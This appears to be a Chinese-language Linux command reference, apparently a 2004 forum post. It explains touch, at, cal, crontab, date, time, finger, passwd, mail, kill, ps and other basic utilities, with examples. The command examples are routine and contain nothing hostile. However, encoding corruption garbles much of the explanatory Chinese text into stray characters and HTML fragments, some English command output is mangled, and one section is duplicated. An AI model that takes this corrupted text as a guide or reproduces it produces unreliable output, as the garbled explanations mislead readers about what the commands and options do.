参数Q?br />a 改变档案的读取时间记录?br />m 改变档案的修Ҏ(gu)间记录?br />c 假如目的档案不存在,不会(x)建立新的档案。与 --no-create 的效果一栗?br />f 不用,是ؓ(f)了与其他 unix pȝ的相Ҏ(gu)而保留?br />r 使用参考档的时间记录,?--file 的效果一栗?br />d 讑֮旉与日期,可以使用各种不同的格式?br />t 讑֮档案的时间记录,格式?date 指o(h)相同?br />--no-create 不会(x)建立新档案?br />--help 列出指o(h)格式?br />--version 列出版本讯息?/p>
范例Q?/p>
最单的使用方式Q将档案的时候记录改为现在的旉。若档案不存在,pȝ?x)徏立一个新的档案?/p>
touch file
touch file1 file2
?file 的时间记录改?5 ?6 ?18 ?3 分,公元两千q。时间的格式可以参?date 指o(h)Q至需输入 MMDDHHmm Q就是月日时与分?/p>
touch -c -t 05061803 file
touch -c -t 050618032000 file
?file 的时间记录改变成?referencefile 一栗?/p>
touch -r referencefile file
?file 的时间记录改?5 ?6 ?18 ?3 分,公元两千q。时间可以?am, pm 或是 24 时的格式,日期可以使用其他格式?6 May 2000 ?/p>
touch -d "6:03pm" file
touch -d "05/06/2000" file
touch -d "6:03pm 05/06/2000" file
名称 : at
使用权限 : 所有用?/p>
使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME
说明 : at 可以让用者指定在 TIME q个特定时刻执行某个E式或指令,TIME 的格式是 HH:MM其中?HH 为小ӞMM 为分钟,甚至你也可以指定 am, pm, midnight, noon, teatime(是下午 4 炚w){口语词?/p>
如果惌指定过一天内的时_(d)则可以用 MMDDYY 或?MM/DD/YY 的格式,其中 MM 是分钟,DD 是第几日QYY 是指q䆾。另外,使用者甚至也可以使用像是 now + 旉间隔来弹性指定时_(d)其中的时间间隔可以是 minutes, hours, days, weeks
另外Q用者也可指?today ?tomorrow 来表CZ天或明天。当指定了时间ƈ按下 enter 之后Qat ?x)进入交谈模式ƈ要求输入指o(h)或程式,当你输入完后按下 ctrl+D 卛_完成所有动作,至于执行的结果将?x)寄回你的帐号中?/p>
把计 :
-V : 印出版本~号
-q : 使用指定的O?Queue)来储存,at 的资料是存放在所谓的 queue 中,使用者可以同时用多?queueQ?queue 的编号ؓ(f) a, b, c... z 以及(qing) A, B, ... Z ?52 ?br />-m : 即ɽE式/指o(h)执行完成后没有输出结? 也要寄封信给使用?br />-f file : d预先写好的命令档。用者不一定要使用交谈模式来输入,可以先将所有的指定先写入档案后再一ơ读?br />-l : 列出所有的指定 (使用者也可以直接使用 atq 而不?at -l)
-d : 删除指定 (使用者也可以直接使用 atrm 而不?at -d)
-v : 列出所有已l完成但未删除的指?/p>
例子 :
三天后的下午 5 炚w执行 /bin/ls :
at 5pm + 3 days /bin/ls
三个星期后的下午 5 炚w执行 /bin/ls :
at 5pm + 2 weeks /bin/ls
明天?17:20 执行 /bin/date :
at 17:20 tomorrow /bin/date
1999 q的最后一天的最后一分钟印出 the end of world !
at 23:59 12/31/1999 echo the end of world !
--------------------------------------------------------------------------------
-- 作者:(x)babyz
-- 发布旉Q?004-2-3 1:23:26
--
名称Qcal
使用权限Q所有用?/p>
使用方式Qcal [-mjy] [month [year]]
说明Q?/p>
昄日历。若只有一个参敎ͼ则代表年?1-9999)Q显Cq的q历。年份必d部写出:(x)********cal 89 不?x)是昄?1989 q的q历。用两个参敎ͼ则表C月份及(qing)q䆾。若没有参数则显C个月的月历?br />1752 q?9 月第 3 日v改用西洋新历Q因q时大部份的国家都采用新历,?10 天被去除Q所以该月䆾的月历有些不同。在此之前ؓ(f)西洋旧历?/p>
匡兜
-m : 以星期一为每周的W一天方式显C?br />-j : 以凯撒历昄Q即以一月一日v的天数显C?br />-y : 昄今年q历?/p>
范例Q?/p>
cal : 昄本月的月历?/p>
[root@mylinux /root]# date
Tue Aug 15 08:00:18 CST 2000
[root@mylinux /root]# cal
August 2000
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
[root@mylinux /root]#
cal 2001 : 昄公元 2001 q年历?/p>
[root@mylinux /root]# cal 2001
2001
January February March
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1 2 3
7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10
14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17
21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24
28 29 30 31 25 26 27 28 25 26 27 28 29 30 31
April May June
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 5 1 2
8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9
15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16
22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23
29 30 27 28 29 30 31 24 25 26 27 28 29 30
July August September
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 1
8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8
15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15
22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22
29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29
30
October November December
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1
7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8
14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15
21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22
28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29
30 31
[root@mylinux /root]#
cal 5 2001 : 昄公元 2001 q?5 月月历?/p>
[root@mylinux /root]# cal 5 2001
May 2001
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
[root@mylinux /root]#
cal -m : 以星期一为每周的W一天方式,昄本月的月历?/p>
[root@mylinux /root]# cal -m
August 2000
Mo Tu We Th Fr Sa Su
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
[root@mylinux /root]#
cal -jy : 以一月一日v的天数显CZq的q历?/p>
[root@mylinux /root]# cal -jy
2000
January February
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
1 32 33 34 35 36
2 3 4 5 6 7 8 37 38 39 40 41 42 43
9 10 11 12 13 14 15 44 45 46 47 48 49 50
16 17 18 19 20 21 22 51 52 53 54 55 56 57
23 24 25 26 27 28 29 58 59 60
30 31
March April
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
61 62 63 64 92
65 66 67 68 69 70 71 93 94 95 96 97 98 99
72 73 74 75 76 77 78 100 101 102 103 104 105 106
79 80 81 82 83 84 85 107 108 109 110 111 112 113
86 87 88 89 90 91 114 115 116 117 118 119 120
121
May June
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
122 123 124 125 126 127 153 154 155
128 129 130 131 132 133 134 156 157 158 159 160 161 162
135 136 137 138 139 140 141 163 164 165 166 167 168 169
142 143 144 145 146 147 148 170 171 172 173 174 175 176
149 150 151 152 177 178 179 180 181 182
July August
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
183 214 215 216 217 218
184 185 186 187 188 189 190 219 220 221 222 223 224 225
191 192 193 194 195 196 197 226 227 228 229 230 231 232
198 199 200 201 202 203 204 233 234 235 236 237 238 239
205 206 207 208 209 210 211 240 241 242 243 244
212 213
September October
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
245 246 275 276 277 278 279 280 281
247 248 249 250 251 252 253 282 283 284 285 286 287 288
254 255 256 257 258 259 260 289 290 291 292 293 294 295
261 262 263 264 265 266 267 296 297 298 299 300 301 302
268 269 270 271 272 273 274 303 304 305
November December
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
306 307 308 309 336 337
310 311 312 313 314 315 316 338 339 340 341 342 343 344
317 318 319 320 321 322 323 345 346 347 348 349 350 351
324 325 326 327 328 329 330 352 353 354 355 356 357 358
331 332 333 334 335 359 360 361 362 363 364 365
366
[root@mylinux /root]#
名称 : crontab
使用权限 : 所有用?/p>
使用方式 :
crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }
说明 :
crontab 是用来让使用者在固定旉或固定间隔执行程式之用,换句话说Q也是cM使用者的时程表?u user 是指讑֮指定 user 的时E表Q这个前提是你必要有其权限(比如说是 root)才能够指定他人的时程表。如果不使用 -u user 的话Q就是表C定自q时程表?/p>
数 :
-e : 执行文字~辑器来讑֮时程表,内定的文字编辑器?VIQ如果你想用别的文字~辑器,则请先设?VISUAL 环境变数来指定用那个文字编辑器(比如?setenv VISUAL joe)
-r : 删除目前的时E表
-l : 列出目前的时E表
时程表的格式如下 :
f1 f2 f3 f4 f5 program
其中 f1 是表C分钟,f2 表示时Qf3 表示一个月份中的第几日Qf4 表示月䆾Qf5 表示一个星期中的第几天。program 表示要执行的E式?br />?f1 ?* 时表C每分钟都要执行 programQf2 ?* 时表C每时都要执行E式Q其余类?br />?f1 ?a-b 时表CZW?a 分钟到第 b 分钟q段旉内要执行Qf2 ?a-b 时表CZW?a 到第 b 时都要执行Q其余类?br />?f1 ?*/n 时表C每 n 分钟个时间间隔执行一ơ,f2 ?*/n 表示?n 时个时间间隔执行一ơ,其余cL
?f1 ?a, b, c,... 时表C第 a, b, c,... 分钟要执行,f2 ?a, b, c,... 时表C第 a, b, c...个小时要执行Q其余类?/p>
使用者也可以所有的讑֮先存攑֜档案 file 中,?crontab file 的方式来讑֮时程表?br />例子 :
每月每天每小时的W?0 分钟执行一?/bin/ls :
0 7 * * * /bin/ls
?12 月内, 每天的早?6 点到 12 点中Q每?20 分钟执行一?/usr/bin/backup :
0 6-12/3 * 12 * /usr/bin/backup
周一到周五每天下?5:00 寄一信l?alex@domain.name :
0 17 * * 1-5 mail -s "hi" alex@domain.name < /tmp/maildata
每月每天的午?0 ?20 ? 2 ?20 ? 4 ?20 ?...执行 echo "haha"
20 0-23/2 * * * echo "haha"
注意 :
当程式在你所指定的时间执行后Q系l会(x)寄一信l你Q显CE式执行的内容,若是你不希望收到q样的信Q请在每一行空一g后加?> /dev/null 2>&1 卛_?/p>
名称 : date
使用权限 : 所有用?/p>
使用方式 :
date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]
说明 :
date 可以用来昄或设定系l的日期与时_(d)在显C方面,使用者可以设定欲昄的格式,格式讑֮Z个加号后接数个标讎ͼ其中可用的标记列表如?:
旉斚w :
% : 印出 %
%n : 下一?br />%t : x
%H : 时(00..23)
%I : 时(01..12)
%k : 时(0..23)
%l : 时(1..12)
%M : 分钟(00..59)
%p : 昄本地 AM ?PM
%r : 直接昄旉 (12 时Ӟ格式?hh:mms [AP]M)
%s : ?1970 q?1 ?1 ?00:00:00 UTC 到目前ؓ(f)止的U数
%S : U?00..61)
%T : 直接昄旉 (24 时?
%X : 相当?%H:%M:%S
%Z : 昄时区
日期斚w :
%a : 星期?(Sun..Sat)
%A : 星期?(Sunday..Saturday)
%b : 月䆾 (Jan..Dec)
%B : 月䆾 (January..December)
%c : 直接昄日期与时?br />%d : ?(01..31)
%D : 直接昄日期 (mm/dd/yy)
%h : ?%b
%j : 一q中的第几天 (001..366)
%m : 月䆾 (01..12)
%U : 一q中的第几周 (00..53) (?Sunday Z周的W一天的情Ş)
%w : 一周中的第几天 (0..6)
%W : 一q中的第几周 (00..53) (?Monday Z周的W一天的情Ş)
%x : 直接昄日期 (mm/dd/yy)
%y : q䆾的最后两位数?(00.99)
%Y : 完整q䆾 (0000..9999)
若是不以加号作ؓ(f)开_(d)则表C讑֮旉Q而时间格式ؓ(f) MMDDhhmm[[CC]YY][.ss]Q其?MM 为月份,DD 为日Qhh 为小Ӟmm 为分钟,CC 为年份前两位数字QYY 为年份后两位数字Qss 为秒?br />把计 :
-d datestr : 昄 datestr 中所讑֮的时?(非系l时?
--help : 昄辅助讯息
-s datestr : 系l时间设?datestr 中所讑֮的时?br />-u : 昄目前的格林威L?br />--version : 昄版本~号
例子 :
昄旉后蟩行,再显C目前日?:
date +%T%n%D
昄月䆾与日?:
date +%B %d
昄日期与设定时?12:34:56) :
date --date 12:34:56
注意 :
当你不希望出现无意义?0 ?比如?1999/03/07)Q则可以在标C插入 - W号Q比如说 date +%-H:%-M:%-S ?x)把时分U中无意义的 0 l去掉,像是原本?08:09:04 ?x)变?8:9:4。另外,只有取得权限?比如?root)才能讑֮pȝ旉?/p>
当你?root w分更改了系l时间之后,误得以 clock -w 来将pȝ旉写入 CMOS 中,q样下次重新开机时pȝ旉才会(x)持箋抱持最新的正确倹{?/p>
名称 : sleep
使用权限 : 所有用?/p>
使用方式 : sleep [--help] [--version] number[smhd]
说明 : sleep 可以用来目前动作gq一D|?/p>
参数说明 :
--help : 昄辅助讯息
--version : 昄版本~号
number : 旉长度Q后面可?s、m、h ?d
其中 s 为秒Qm ?分钟Qh 为小Ӟd 为日?/p>
例子 :
昄目前旉后gq?1 分钟Q之后再ơ显C时?:
date;sleep 1m;date
名称Q?time
使用权限Q?所有用?/p>
使用方式Q?time [options] COMMAND [arguments]
说明Q?time 指o(h)的用途,在于量测特定指o(h)执行时所需消耗的旉?qing)系l资源等资讯。例?CPU 旉、记忆体、输入输出等{。需要特别注意的是,部分资讯?Linux 上显CZ出来。这是因为在 Linux 上部分资源的分配函式?time 指o(h)所预设的方式ƈ不相同,以致?time 指o(h)无法取得q些资料?/p>
把计
-o or --output=FILE
讑֮l果输出档。这个选项?x)?time 的输出写入所指定的档案中。如果档案已l存在,pȝ覆写其内容?br />-a or --append
配合 -o 使用Q会(x)结果写到档案的末端Q而不?x)覆盖掉原来的内宏V?br />-f FORMAT or --format=FORMAT
?FORMAT 字串讑֮昄方式。当q个选项没有被设定的时候,?x)用pȝ预设的格式。不q你可以用环境变?time 来设定这个格式,如此一来就不必每次dpȝ都要讑֮一ơ?br />一般设定上Q你可以?br />t
表示xQ或者是?br />n
表示换行。每一资料要?% 做ؓ(f)前导。如果要在字串中使用癑ֈ比符Pq 。(学过 C 语言的h大概?x)觉得很熟(zhn)Q?br />time 指o(h)可以昄的资源有四大,分别是:(x)
Time resources
Memory resources
IO resources
Command info
详细的内容如下:(x)
Time Resources
E 执行指o(h)所p的时_(d)格式是:(x)[hour]:minuteecond。请注意q个数字q不代表实际?CPU 旉?br />e 执行指o(h)所p的时_(d)单位是秒。请注意q个数字q不代表实际?CPU 旉?br />S 指o(h)执行时在核心模式Qkernel modeQ所p的时_(d)单位是秒?br />U 指o(h)执行时在使用者模式(user modeQ所p的时_(d)单位是秒?br />P 执行指o(h)?CPU 的占用比例。其实这个数字就是核心模式加上用者模式的 CPU 旉除以L间?/p>
Memory Resources
M 执行时所占用的实体记忆体的最大倹{单位是 KB
t 执行时所占用的实体记忆体的^均|单位?KB
K 执行E序所占用的记忆体总量Qstack+data+textQ的q_大小Q单位是 KB
D 执行E序的自有资料区Qunshared data areaQ的q_大小Q单位是 KB
p 执行E序的自有堆叠(unshared stackQ的q_大小Q单位是 KB
X 执行E序间共享内容(shared textQ的q_|单位?KB
Z pȝ记忆体页的大,单位?byte。对同一个系l来说这是个常数
IO Resources
F 此程序的主要记忆体页错误发生ơ数。所谓的主要记忆体页错误是指某一记忆体页已经|换到置换档Qswap file)中,而且已经分配l其他程序。此时该늚内容必须从置换档里再d来?br />R 此程序的ơ要记忆体页错误发生ơ数。所谓的ơ要记忆体页错误是指某一记忆体页虽然已经|换到置换档中,但尚未分配给其他E序。此时该늚内容q未被破坏,不必从置换档里读出来
W 此程序被交换到置换档的次?br />c 此程序被中断Q像是分配到?CPU 旉耗尽Q的ơ数
w 此程序自愿中断(像是在等待某一?I/O 执行完毕Q像是磁读取等{)的次?br />I 此程序所输入的档案数
O 此程序所输出的档案数
r 此程序所收到?Socket Message
s 此程序所送出?Socket Message
k 此程序所收到的信?( Signal )数量
Command Info
C 执行时的参数以及(qing)指o(h)名称
x 指o(h)的结束代?( Exit Status )
-p or --portability
q个选项?x)自动把昄格式讑֮成?f)Q?br />real %e
user %U
sys %S
q么做的目的是ؓ(f)了与 POSIX 规格相容?br />-v or --verbose
q个选项?x)把所有程式中用到的资源通通列出来Q不但如一般英文语句,q有说明。对不想花时间去熟习(fn)格式讑֮或是刚刚开始接触这个指令的人相当有用?/p>
范例Q?br />利用下面的指?br />time -v ps -aux
我们可以获得执行 ps -aux 的结果和所p的系l资源。如下面所列的资料Q?br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init
root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]
......
root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux
Command being timed: "ps -aux"
User time (seconds): 0.05
System time (seconds): 0.06
Percent of CPU this job got: 68%
Elapsed (wall clock) time (h:mms or ms): 0:00.16
Average shared text size (kbytes): 0
Average unshared data size (kbytes): 0
Average stack size (kbytes): 0
Average total size (kbytes): 0
Maximum resident set size (kbytes): 0
Average resident set size (kbytes): 0
Major (requiring I/O) page faults: 238
Minor (reclaiming a frame) page faults: 46
Voluntary contexttches: 0
Involuntary contexttches: 0
Swaps: 0
File system inputs: 0
File system outputs: 0
Socket messages sent: 0
Socket messages received: 0
Signals delivered: 0
Page size (bytes): 4096
Exit status: 0
名称Q?uptime
使用权限Q?所有用?br />使用方式Q?uptime [-V]
说明Q?uptime 提供使用者下面的资讯Q不需其他参数Q?/p>
现在的时?br />pȝ开转到现在l过的时?br />q线的用者数?br />最q一分钟Q五分钟和十五分钟的pȝ负蝲
参数Q?-V 昄版本资讯?br />范例Q?uptime
其结果ؓ(f)Q?br />10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99
名称Qchfn
使用权限Q所有用?/p>
用法Qshell>> chfn
说明Q提供用者更改个讯,用于 finger and mail username
范例Q?/p>
shell>> chfn
Changing finger information for user
Password: [del]
Name[]:Johnney Huang ### 提供 finger 时的资料
Office[]:NCCU
Office Phone[]: [del]
Home Phone[]: [del]
--------------------------------------------------------------------------------
-- 作者:(x)babyz
-- 发布旉Q?004-2-3 1:24:24
--
名称Qchsh
使用权限Q所有用?/p>
用法Qshell>> chsh
说明Q更改用?shell 讑֮
范例Q?/p>
shell>> chsh
Changing fihanging shell for user1
Password: [del]
New shell [/bin/tcsh]: ### [是目前用的 shell]
[del]
shell>> chsh -l ### 展示 /etc/shells 档案内容
/bin/bash
/bin/sh
/bin/ash
/bin/bsh
/bin/tcsh
/bin/csh
" finger [q回]
名称Q?finger
使用权限Q?所有用?/p>
使用方式Q?finger [options] user[@address]
说明Qfinger 可以让用者查询一些其他用者的资料。会(x)列出来的资料有:(x)
Login Name
User Name
Home directory
Shell
Login status
mail status
.plan
.project
.forward
其中 .plan Q?project ?.forward 是使用者在他的 Home Directory 里的 .plan Q?.project ?.forward {档案里的资料。如果没有就没有。finger 指o(h)q不限定于在同一伺服器上查询Q也可以L某一个远端伺服器上的使用者。只要给一个像?E-mail address 一般的地址卛_?br />把计
-l
多行昄?/p>
-s
单行昄。这个选项只显C登入名Uͼ真实姓名Q终端机名称Q闲|时_(d)d旉Q办公室L(fng)?qing)?sh)话号码。如果所查询的用者是q端伺服器的使用者,q个选项无效?/p>
范例Q下列指令可以查询本机管理员的资料:(x)
finger root
其结果如下:(x)
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.
名称Qlast
使用权限Q所有用?/p>
使用方式Qshell>> last [options]
说明Q显C系l开Z来获是从每月初登入者的讯息
把计
-R 省略 hostname 的栏?br />-num 展示?num ?br />username 展示 username 的登入讯?br />tty 限制d讯息包含l端Z?/p>
范例Q?/p>
shell>> last -R -2
johnney pts/1 Mon Aug 14 20:42 still logged in
johnney pts/0 Mon Aug 14 19:59 still logged in
wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp
shell>> last -2 minery
minery pts/0 140.119.217.115 Mon Aug 14 18:37 - 18:40 (00:03)
minery pts/0 140.119.217.115 Mon Aug 14 17:22 - 17:24 (00:02)
wtmp begins Tue Aug 1 09:01:10 2000
名称:login
q个命o(h)都不?x)就不要q算了!呵呵我也不在q里多费W墨耽误大家好青春了^_^
名称Qpasswd
使用权限Q所有用?/p>
使用方式Qpasswd [-k] [-l] [-u [-f]] [-d] [-S] [username]
说明Q用来更改用者的密码
参数Q?br />-k
-l
-u
-f
-d 关闭使用者的密码认证功能, 使用者在d时将可以不用输入密码, 只有具备 root 权限的用者方可?
-S 昄指定使用者的密码认证U类, 只有具备 root 权限的用者方可?
[username] 指定帐号名称.
名称 : who
使用权线 : 所有用者都可?/p>
使用方式 : who - [husfV] [user]
说明 : 昄pȝ中有那些使用者正在上面,昄的资料包含了使用?IDQ用的l端机,从那边连上来的,上线旉Q呆滞时_(d)CPU 使用量,动作{等?/p>
把计 :
-h : 不要昄标题?br />-u : 不要昄使用者的动作/工作
-s : 使用短的格式来显C?br />-f : 不要昄使用者的上线位置
-V : 昄E式版本
名称Q?etc/aliases
使用权限Q系l管理?br />使用方式Q?L(fng) newaliases 更新资料?br />说明Q?br />sendmail ?x)用一个在 /etc/aliases 中的档案做用者名U{换的动作。当 sendmail 收到一个要送给 xxx 的信Ӟ它会(x)依据 aliases档的内容送给另一个用者。这个功能可以创造一个只有在信gpȝ内才有效的用者。例?mailing list ׃(x)用到q个功能Q在 mailinglist 中,我们可能?x)创造一个叫 redlinux@link.ece.uci.edu ?mailinglistQ但实际上ƈ没有一个叫 redlinux 的用者。实?aliases 档的内容是将送给q个使用者的信都收给 mailing list 处理E式负责分送的工作?/p>
/etc/aliases 是一个文字模式的档案Qsendmail 需要一个二q位格式?/etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一?sendmail 所能了解的资料库。范例:(x)
# newaliases
下面命o(h)?x)做相同的事Q?br /># sendmail -bi
相关命o(h):
mail, mailq, newaliases, sendmail
" mail [q回]
名称Qmail
使用权限Q所有用?/p>
使用方式Qmail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1 [user 2 ...]
说明Q?br />mail 不仅只是一个指令, mail q是一个电(sh)子邮件程式,不过利用 mail 来读信的人应该很吧Q对于系l管理者来?mail 很有用Q因为管理者可以用 mail 写成 script Q定期寄一些备忘录提醒pȝ的用者?/p>
参数Q?br />i 忽略 tty 的中断讯受?(interrupt)
I 设成互动模式?(Interactive)
v 列印息,例如送信的地炏V状态等{?(verbose)
n 不读?mail.rc 讑֮档?br />s 邮g标题?br />c cc 邮g地址?br />b bcc 邮g地址?/p>
范例Q?/p>
信仉给一个或以上的电(sh)子邮件地址Q由于没有加入其他的选项Q用者必输入标题与信g的内容等。?user2 没有L位置Q就?x)送给邮g伺服器的 user2 使用者?/p>
mail user1@email.address
mail user1@email.address user2
?mail.txt 的内容寄l?user2 同时 cc l?user1 。如果将q一行指令设?cronjob 可以定时将备忘录寄l系l用者?/p>
mail -s 标题 -c user1 user2 < mail.txt
指o(h)Qmesg
使用权限 : 所有用?/p>
使用方式 : mesg [y|n]
说明 Q?军_是否允许其他Z讯息到自ql端Z?/p>
把计
y : 允许讯息传到l端Z面上?br />n : 不允许讯息传到终端机介面??br />如果没有讑֮Q则讯息传递与否则q端机界面目前状态而定?/p>
例子 :
改变目前讯息讑֮Q改成不允许讯息传到l端Z面上 :
mesg n
?mesg 相关的指令有Q?talkQwriteQwall?/p>
名称Q?etc/aliases
使用权限Q系l管理?br />使用方式Q?newaliases
说明Q?br />sendmail ?x)用一个在 /etc/aliases 中的档案做用者名U{换的动作。当 sendmail 收到一个要送给 xxx 的信Ӟ它会(x)依据 aliases档的内容送给另一个用者。这个功能可以创造一个只有在信gpȝ内才有效的用者。例?mailing list ׃(x)用到q个功能Q在 mailinglist 中,我们可能?x)创造一个叫 redlinux@link.ece.uci.edu ?mailinglistQ但实际上ƈ没有一个叫 redlinux 的用者。实?aliases 档的内容是将送给q个使用者的信都收给 mailing list 处理E式负责分送的工作?/p>
/etc/aliases 是一个文字模式的档案Qsendmail 需要一个二q位格式?/etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一?sendmail 所能了解的资料库?/p>
参数Q没有Q何参数?范例Q?br /># newaliases
下面命o(h)?x)做相同的事Q?br /># sendmail -bi
相关命o(h):
mail, mailq, newaliases, sendmail
名称 : talk
使用权限 : 所有用?/p>
使用方式 :
talk person [ttyname]
说明 : 与其他用者对?/p>
把计 :
person : 预备对谈的用者帐P如果该用者在其他机器上,则可输入 person@machine.name
ttyname : 如果使用者同时有两个以上?tty q线Q可以自行选择合适的 tty 传讯?/p>
例子.1 :
与现在机器上的用者Rollaend对谈Q此?Rollaend 只有一个连U?:
talk Rollaend
接下来就是等Rollaend回应Q若Rollaend接受Q则Rollaend输入 ****talk jzlee****卛_开始对谈,l束h ctrl+c
例子.2 :与linuxfab.cx上的使用者Rollaend对谈Q用pts/2来对?:
talk Rollaend@linuxfab.cx pts/2
接下来就是等Rollaend回应Q若Rollaend接受Q则Rollaend输入 ****talk jzlee@jzlee.home****卛_开始对谈,l束h ctrl+c
注意 : 若萤q的字会(x)出现不正常的字元Q试着?ctrl+l 更新萤幕画面?/p>
名称 : wall
使用权限 : 所有用?/p>
使用方式 :
wall [ message ]
使用说明Q?br />wall ?x)将讯息传给每一?mesg 讑֮?yes 的上U用者。当使用l端Z面做为标准传入时, 讯息l束旉加上 EOF (通常?Ctrl+D)
例子 :
传讯?hi" l每一个用?:
wall hi
名称 : write
使用权限 : 所有用?/p>
使用方式 :
write user [ttyname]
说明 : 传讯息给其他使用?/p>
把计 :
user : 预备传讯息的使用者帐?br />ttyname : 如果使用者同时有两个以上?tty q线Q可以自行选择合适的 tty 传讯?/p>
例子.1 :
传讯息给 RollaendQ此?Rollaend 只有一个连U?:
write Rollaend
接下来就是将讯息打上去,l束h ctrl+c
例子.2 :传讯息给 RollaendQRollaend 的连U有 pts/2Qpts/3 :
write Rollaend pts/2
接下来就是将讯息打上去,l束h ctrl+c
注意 : 若对方设?mesg nQ则此时讯席无法传l对?/p>
名称Qkill
使用权限Q所有用?/p>
使用方式Q?/p>
kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
说明Qkill 送出一个特定的信号 (signal) l行E?id ?pid 的行E根据该信号而做特定的动? 若没有指? 预设是送出l止 (TERM) 的信?br />把计
-s (signal) : 其中可用的讯h HUP (1), KILL (9), TERM (15), 分别代表着重跑, 砍掉, l束; 详细的信号可以用 kill -l
-p : 印出 pid , q不送出信号
-l (signal) : 列出所有可用的信号名称
范例Q?/p>
?pid ?323 的行E砍?(kill) :
kill -9 323
?pid ?456 的行E重?(restart) :
kill -HUP 456
名称Qnice
使用权限Q所有用?/p>
使用方式Qnice [-n adjustment] [-adjustment] [--adjustment=adjustment] [--help] [--version] [command [arg...]]
说明Q以更改q的优先序来执行E式, 如果未指定程? 则会(x)印出目前的排E优先序, 内定?adjustment ?10, 范围?-20 (最高优先序) ?19 (最低优先序)
把计
-n adjustment, -adjustment, --adjustment=adjustment 皆ؓ(f)该原有优先序的增加 adjustment
--help 昄求助讯息
--version 昄版本资讯
范例Q?br />?ls 的优先序?1 q执?:
nice -n 1 ls
?ls 的优先序?10 q执?:
nice ls?ls 的优先序?10 q执?/p>
注意 : 优先?(priority) Z业系l用来决?CPU 分配的参敎ͼLinux 使用『回合制(round-robin)』的演算法来?CPU 排程Q优先序高Q所可能获得?CPU旉p多?/p>
名称Qps
使用权限Q所有用?br />使用方式Qps [options] [--help]
说明Q显C瞬间行E?(process) 的动?br />参数Q?br />ps 的参数非常多, 在此仅列出几个常用的参数q大略介l含?br />-A 列出所有的行程
-w 昄加宽可以昄较多的资?br />-au 昄较详l的资讯
-aux 昄所有包含其他用者的行程
au(x) 输出格式 :
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
USER: 行程拥有?br />PID: pid
%CPU: 占用?CPU 使用?br />%MEM: 占用的记忆体使用?br />VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: l端的次要装|号?(minor device number of tty)
STAT: 该行E的状?
D: 不可中断的静?(通?zhn)□□~bq行 I/O 动作)
R: 正在执行?br />S: 静止状?br />T: 暂停执行
Z: 不存在但暂时无法消除
W: 没有_的记忆体分页可分?br /><: 高优先序的行E?br />N: 低优先序的行E?br />L: 有记忆体分页分配q在记忆体?(xpȝ或捱A I/O)
START: 行程开始时?br />TIME: 执行的时?br />COMMAND:所执行的指?/p>
范例Q?/p>
ps
PID TTY TIME CMD
2791 ttyp0 00:00:00 tcsh
3092 ttyp0 00:00:00 ps
% ps -A
PID TTY TIME CMD
1 ? 00:00:03 init
2 ? 00:00:00 kflushd
3 ? 00:00:00 kpiod
4 ? 00:00:00 kswapd
5 ? 00:00:00 mdrecoveryd
.......
% ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
